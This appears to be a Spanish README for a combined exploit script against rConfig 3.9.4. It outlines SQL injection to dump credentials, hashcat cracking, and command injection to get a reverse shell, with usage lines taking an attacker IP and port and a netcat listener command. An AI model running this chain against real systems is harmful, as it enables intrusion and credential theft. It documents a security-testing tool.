rConfig 3.9 PoC combinado de Inyección SQL e Inyección de Comandos

Resumen

Este PoC está dirigido a la versión 3.9.4 de rConfig y demuestra la explotación mediante una combinación de vulnerabilidades de Inyección SQL e Inyección Remota de Comandos. Automatiza el proceso de:

1. Extraer el nombre de la base de datos mediante SQLi
2. Volcar las credenciales de usuario de la base de datos
3. Intentar descifrar los hashes de contraseñas usando hashcat con la lista de palabras rockyou y las reglas best64.rule
4. Opcionalmente, ejecutar Comandos Remotos (RCE) mediante inyección de comandos en la funcionalidad de búsqueda, utilizando las credenciales de administrador descifradas

Este script se basa en y combina dos PoCs originales:

• 48208.py (Inyección SQL) por vikingfr
• 48241.py (Inyección de Comandos) por Matthew Aberegg y Michael Burkey

Fue modificado para automatizar el descifrado y la obtención opcional de una shell.

Requisitos

• Python 3
• Librería requests (pip install requests)
• hashcat instalado y accesible desde la línea de comandos
• Lista de palabras rockyou.txt (o equivalente) ubicada en /usr/share/wordlists/rockyou.txt
• Archivo de reglas de hashcat /usr/share/hashcat/rules/best64.rule

Uso

Para volcar usuarios y hashes únicamente:

python3 rConfig_rce.py https://objetivo

Para volcar usuarios, descifrar contraseñas e intentar RCE (requiere IP y puerto del atacante para la reverse shell):

python3 rConfig_rce.py https://objetivo ip_atacante puerto_atacante

Notas

• Si hashcat falla al descifrar la contraseña, el script sugiere utilizar servicios de descifrado en línea como CrackStation.
• Si el hash de la contraseña no puede descifrarse automáticamente, se le solicitará ingresar manualmente la contraseña en texto plano para los intentos de RCE.
• El script prioriza el uso de la cuenta admin para la fase de inyección de comandos.
• Asegúrese de tener un listener (ej. nc -lvnp 80) ejecutándose en su máquina atacante para capturar la reverse shell.

Descargo de responsabilidad

Esta herramienta está diseñada únicamente para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado contra sistemas sin permiso es ilegal y poco ético.